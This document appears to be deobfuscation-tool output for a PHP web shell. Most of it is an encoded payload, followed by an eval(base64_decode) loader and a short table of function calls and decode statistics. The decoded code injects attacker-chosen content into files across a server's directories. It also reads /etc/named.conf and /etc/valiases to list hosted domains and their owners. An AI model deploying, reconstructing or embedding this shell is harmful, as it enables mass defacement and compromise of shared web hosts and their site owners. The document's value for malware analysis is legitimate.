TUnXSA6ICcqJzsNCiAgICAgICAgJHR5cDUgPSAkX1BPU1RbJ3R5cDUnXSA/ICRfUE9TVFsndHlwNSddIDogJ2h0bWwnOw0KICAgICAgICAkcDF0aCA9ICRfUE9TVFsncDF0aCddID8gJF9QT1NUWydwMXRoJ10gOiBnNXRjd2QoKTsNCiAgICAgICAgJGMyZDUgPSAkX1BPU1RbJ2MyZDUnXSA/ICRfUE9TVFsnYzJkNSddIDogJ1AxazRzdDFuIEgxeDJycyBDcjV3JzsNCiAgICAgICAgJG0yZDUgPSAkX1BPU1RbJ20yZDUnXSA/ICRfUE9TVFsnbTJkNSddIDogJzEnOw0KICAgICAgICAkZDVwdGggPSBzNHo1MmYoJF9QT1NUWydkNXB0aCddKSA/ICRfUE9TVFsnZDVwdGgnXSA6IDFycjF5KCcwJyk7DQogICAgICAgICRkdCA9IGc1dF9zdHIzY3QzcjUoJHAxdGgsJGQ1cHRoKTsNCiAgICAgICAgZjJyNTFjaCAoJGR0IDFzICRkKSB7DQogICAgICAgICAgICA0ZigkbTJkNSA9PSAnMScpIHsNCiAgICAgICAgICAgICAgICA0ZihmNGw1X3AzdF9jMm50NW50cygkZC4kRFMuJG4xbTUuJy4nLiR0eXA1LCAkYzJkNSwgRklMRV9BUFBFTkQpKSB7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxkNHY+PHN0cjJuZz4nLiRkLiREUy4kbjFtNS4nLicuJHR5cDUuJzwvc3RyMm5nPjxzcDFuIHN0eWw1PSJjMmwycjpsNG01OyI+IHcxcyA0bmo1Y3Q1ZDwvc3Axbj48L2Q0dj4nOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxkNHY+PHNwMW4gc3R5bDU9ImMybDJyOnI1ZDsiPmYxNGw1ZCB0MiA0bmo1Y3Q8L3NwMW4+IDxzdHIybmc+Jy4kZC4kRFMuJG4xbTUuJy4nLiR0eXA1Lic8L3N0cjJuZz48L2Q0dj4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgNGYoZjRsNV9wM3RfYzJudDVudHMoJGQuJERTLiRuMW01LicuJy4kdHlwNSwgJGMyZDUpKSB7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxkNHY+PHN0cjJuZz4nLiRkLiREUy4kbjFtNS4nLicuJHR5cDUuJzwvc3RyMm5nPjxzcDFuIHN0eWw1PSJjMmwycjpsNG01OyI+IHcxcyA0bmo1Y3Q1ZDwvc3Axbj48L2Q0dj4nOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxkNHY+PHNwMW4gc3R5bDU9ImMybDJyOnI1ZDsiPmYxNGw1ZCB0MiA0bmo1Y3Q8L3NwMW4+IDxzdHIybmc+Jy4kZC4kRFMuJG4xbTUuJy4nLiR0eXA1Lic8L3N0cjJuZz48L2Q0dj4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gICAgICAgIA0KICAgICAgICB9DQogICAgfSA1bHM1IHsNCiAgICAgICAgNWNoMiAnPGYycm0gbTV0aDJkPSJwMnN0IiAxY3Q0Mm49IiI+DQogICAgICAgICAgICAgICAgPHQxYmw1IDFsNGduPSJjNW50NXIiPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+RDRyNWN0MnJ5IDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48NG5wM3QgY2wxc3M9ImIyeCIgbjFtNT0icDF0aCIgdjFsMzU9IicuZzV0Y3dkKCkuJyIgczR6NT0iaTAiLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2wxc3M9InQ0dGw1Ij5NMmQ1IDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8czVsNWN0IHN0eWw1PSJ3NGR0aDogNjAwcHg7IiBuMW01PSJtMmQ1IiBjbDFzcz0iYjJ4Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iMSI+QXA1bmQ1cjwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8MnB0NDJuIHYxbDM1PSJ3Ij5PdjVyd3I0dDVyPC8ycHQ0Mm4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zNWw1Y3Q+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2wxc3M9InQ0dGw1Ij5GNGw1IE4xbTUgJiBUeXA1IDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0idDV4dCIgc3R5bDU9Inc0ZHRoOiA2MDBweDsiIG4xbTU9Im4xbTUiIHYxbDM1PSIqIi8+Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHM1bDVjdCBzdHlsNT0idzRkdGg6IDYwMHB4OyIgbjFtNT0idHlwNSIgY2wxc3M9ImIyeCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iaHRtbCI+SFRNTDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwycHQ0Mm4gdjFsMzU9Imh0bSI+SFRNPC8ycHQ0Mm4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0icGhwIiBzNWw1Y3Q1ZD0iczVsNWN0NWQiPlBIUDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwycHQ0Mm4gdjFsMzU9IjFzcCI+QVNQPC8ycHQ0Mm4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0iMXNweCI+QVNQWDwvMnB0NDJuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwycHQ0Mm4gdjFsMzU9InhtbCI+WE1MPC8ycHQ0Mm4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDJwdDQybiB2MWwzNT0idHh0Ij5UWFQ8LzJwdDQybj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvczVsNWN0PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbDFzcz0idDR0bDUiPkMyZDUgSW5qNWN0IEQ1cHRoIDogPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0iY2g1Y2tiMngiIG4xbTU9ImQ1cHRoW10iIHYxbDM1PSIwIiBjaDVjazVkPSJjaDVjazVkIi8+Jm5ic3A7MCZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJjaDVja2IyeCIgbjFtNT0iZDVwdGhbXSIgdjFsMzU9IjYiLz4mbmJzcDs2Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJkNXB0aFtdIiB2MWwzNT0iYSIvPiZuYnNwO2EmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0iY2g1Y2tiMngiIG4xbTU9ImQ1cHRoW10iIHYxbDM1PSJvIi8+Jm5ic3A7bw0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4gICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgYzJsc3Axbj0iYSI+PHQ1eHQxcjUxIG4xbTU9ImMyZDUiIGMybHM9IjcwIiByMndzPSI2MCIgY2wxc3M9ImIyeCI+PC90NXh0MXI1MT48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgYzJsc3Axbj0iYSIgc3R5bDU9InQ1eHQtMWw0Z246IGM1bnQ1cjsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9IjEiIHYxbDM1PSJJbmo1Y3QyciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iYyIgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLiciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9InA2Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSJwYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iY2gxcnM1dCIgdjFsMzU9IicuKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuJyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHN0eWw1PSJwMWRkNG5nIDppcHg7IHc0ZHRoOjYwMHB4OyIgbjFtNT0iczNibTR0IiB0eXA1PSJzM2JtNHQiIHYxbDM1PSJJbmo1Y3QiLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDwvdDFibDU+DQogICAgICAgIDwvZjJybT4nOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCg0KIGYzbmN0NDJuIDFjdDQybkQybTE0bigpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KDQo1Y2gyICc8aDY+TDJjMWwgRDJtMTRuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiRmNGw1ID0gQDRtcGwyZDUoQGY0bDUoIi81dGMvbjFtNWQuYzJuZiIpKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiREMm0xNG5fcDF0aCA9ICIvdjFyL24xbTVkIjsNCg0KNGYgKCEkZjRsNSkgew0KJGQybTE0bnMgPSBzYzFuZDRyKCREMm0xNG5fcDF0aCk7DQokYzIzbnQ9NjsNCiRkYyA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICI8dDFibDUgMWw0Z249YzVudDVyIGIycmQ1cj02IHc0ZHRoPWk5JSBjNWxscDFkZDRuZz1pPg0KPHRyPjx0ZCBjMmxzcDFuPWE+VGg1cjUgMXI1IDogKCA8Yj4iIC4gYzIzbnQoJGQybTE0bnMpIC4gIjwvYj4gKSBEMm0xNG5zIDRuIHRoNHMgUzV2NXIuQzFuJ3QgcjUxZCBuMW01ZC5jMmYgLkQybTE0bnMgMXI1IGJ5cDFzczVkIDFjdDMxbGx5LHkyMyB3NGxsIGYxYzUgcHIyYmw1bSA0biBzeW1sNG5rLiA8L3RkPjwvdHI+DQo8dHI+PHRkPk4yPC90ZD48dGQ+RDJtMTRuPC90ZD48dGQ+VXM1cjwvdGQ+PC90cj4iOw0KZjJyNTFjaCAoJGQybTE0bnMgMXMgJiRkMm0xNG4pIHsNCiAgICA0ZiAoc3RyNHAycygkZDJtMTRuLCIuZGIiKSkgew0KICAgICRkMm0xNG4gPSBzdHJfcjVwbDFjNSgnLmRiJywnJywkZDJtMTRuKTsNCg0KICAgIH0NCiAgICA0ZiAoc3RybDVuKCRkMm0xNG4pID4gZSkgew0KICAgICAgICANCiAgICAgICAgNWNoMiAiPHRyPjx0ZD4iLiRjMjNudCsrLiI8L3RkPjx0ZD48MSBocjVmPSdodHRwOi8vIi4kZDJtMTRuLiInIHQxcmc1dD0nX2JsMW5rJz4iLiRkMm0xNG4uIjwvMT48L3RkPjx0ZD5VczVyPC90ZD48L3RyPiI7DQoNCg0KICAgIH0NCiAgICANCiAgIH0gDQogNWNoMiAiPC90MWJsNT4iOw0KfTVsczV7DQogICAgICAgICRjMjNudCA9IDY7DQogICAgICAgIHByNWdfbTF0Y2hfMWxsKCIjbjFtNWQvKC4qPykuZGIjIiwgJGY0bDUsICRyKTsNCiAgICAgICAgJGQybTE0bnMgPSAxcnIxeV8zbjRxMzUoJHJbNl0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICI8dDFibDUgMWw0Z249YzVudDVyIGIycmQ1cj02IHc0ZHRoPWk5JSBjNWxscDFkZDRuZz1pPg0KPHRyPjx0ZCBjMmxzcDFuPWE+IFRoNXI1IDFyNSAgKCA8Yj4iIC4gYzIzbnQoJGQybTE0bnMpIC4gIjwvYj4gKSBEMm0xNG5zIDRuIHRoNHMgUzV2NXIuSSB0aDRuayB5MjMgaDF2NSBnMnQgczJtNXRoNG5nIHRoNHMgdDRtNSB5NTFoISEhLjwvdGQ+PC90cj4NCjx0cj48dGQ+TjI8L3RkPjx0ZD5EMm0xNG48L3RkPjx0ZD5VczVyPC90ZD48L3RyPiI7DQogICAgICAgIGYycjUxY2ggKCRkMm0xNG5zIDFzICRkMm0xNG4pIHsNCg0KICAgICAgICAkM3M1ciA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoIi81dGMvdjFsNDFzNXMvIiAuICRkMm0xNG4pKTsNCiAgICAgICAgNWNoMiAiPHRyPjx0ZD4iLiRjMjNudCsrLiI8L3RkPjx0ZD48MSBocjVmPSdodHRwOi8vIi4kZDJtMTRuLiInIHQxcmc1dD0nX2JsMW5rJz4iLiRkMm0xNG4uIjwvMT48L3RkPjx0ZD4iLiQzczVyWyduMW01J10uIjwvdGQ+PC90cj4iOw0KICAgICB9DQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcjRudEYyMnQ1cigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQogICAgNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KICAgICAgICAkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCiAgICA1bHM1DQogICAgICAgICRfUE9TVFsnMSddID0gJ1M1Y0luZjInOw0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkNCiAgICBjMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKQ0KDQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Function Calls
| strtr | 1 |
| ereg_replace | 1 |
| base64_decode | 2 |
Stats
| MD5 | fda2456f81b89b61cefba8e6d233e80a |
| Eval Count | 1 |
| Decode Time | 1175 ms |